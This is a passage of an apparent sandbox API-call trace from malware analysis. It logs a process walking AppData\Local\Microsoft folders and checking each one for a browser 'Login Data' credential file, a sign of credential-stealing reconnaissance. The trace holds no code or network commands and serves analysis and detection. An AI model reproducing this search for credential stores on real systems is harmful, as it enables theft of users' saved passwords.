ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0201.100] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.100] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ea382, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xc49ea382, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc49ea382, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.100] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0201.100] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\input\\neutral\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.101] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0201.101] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xabf27288, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabf27288, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.101] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 1 [0201.101] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrainedDataStore", cAlternateFileName="TRAINE~1")) returned 0 [0201.101] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0201.101] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.101] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0201.102] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.102] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347b8201, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc5ea2c1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0201.102] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0201.102] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InputPersonalization\\TrainedDataStore\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.102] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.102] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.103] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc64f4fe4, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 1 [0201.103] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc64f4fe4, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkpoints", cAlternateFileName="CHECKP~1")) returned 0 [0201.103] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.103] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.104] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc64f4fe4, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0201.105] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc64f4fe4, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.105] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5a3a7fb, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5a3a7fb, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5a3a7fb, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGGXW3P8.dat", cAlternateFileName="9NBLGG~2.DAT")) returned 1 [0201.105] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cc3073, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5cc3073, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5cc3073, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH10PG8.dat", cAlternateFileName="9N76AF~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc59ee40d, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc59ee40d, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc59ee40d, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH32PT4.dat", cAlternateFileName="9NBLGG~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c76b59, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5c76b59, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5c76b59, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH42THS.dat", cAlternateFileName="9NBLGG~4.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5dce18d, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5dce18d, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5dce18d, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4NNS1.dat", cAlternateFileName="9N20D4~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc64f4fe4, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc64f4fe4, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64f4fe4, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4QGHW.dat", cAlternateFileName="9N1C6C~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6187abe, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc6187abe, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc6187abe, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH4R32N.dat", cAlternateFileName="9NBDA7~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62204d7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc62204d7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc62204d7, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH537C2.dat", cAlternateFileName="9N71A2~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bb8074, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5bb8074, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5bb8074, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH5FV99.dat", cAlternateFileName="9NBLGG~3.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f71b0e, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5f71b0e, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5f71b0e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9NBLGGH5PNB1.dat", cAlternateFileName="9N41FC~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5a86d3d, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5a86d3d, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5a86d3d, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9P086NHDNB9W.dat", cAlternateFileName="9P086N~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e40735, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5e40735, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5e40735, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD1HKW.dat", cAlternateFileName="9W5A8D~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc626c900, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc626c900, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc626c900, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD29V9.dat", cAlternateFileName="9W6A1D~1.DAT")) returned 1 [0201.106] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c50958, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5c50958, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5c50958, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD2G0J.dat", cAlternateFileName="9W7C8F~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e6697e, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5e6697e, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5e6697e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBJJ.dat", cAlternateFileName="9W346D~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5d0f4c6, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5d0f4c6, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5d0f4c6, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBVB.dat", cAlternateFileName="9WA7C0~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ad31ff, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc5ad31ff, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc5ad31ff, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBWP.dat", cAlternateFileName="9WZDNC~2.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc61d3f9e, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc61d3f9e, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc61d3f9e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHV4V.dat", cAlternateFileName="9WEE31~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6377949, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc6377949, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc6377949, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVFW.dat", cAlternateFileName="9WB9D7~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b4fd, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc613b4fd, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc613b4fd, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVH4.dat", cAlternateFileName="9W15AF~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc63c3cdd, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc63c3cdd, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc63c3cdd, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVJL.dat", cAlternateFileName="9W71BA~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc607cae3, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc607cae3, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc607cae3, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVN5.dat", cAlternateFileName="9W36B6~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc60c8fa1, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc60c8fa1, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc60c8fa1, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVQM.dat", cAlternateFileName="9WF232~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc64a8b32, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc64a8b32, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc64a8b32, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHWD2.dat", cAlternateFileName="9W2E3D~1.DAT")) returned 1 [0201.107] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc60305df, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xc60305df, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xc60305df, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, 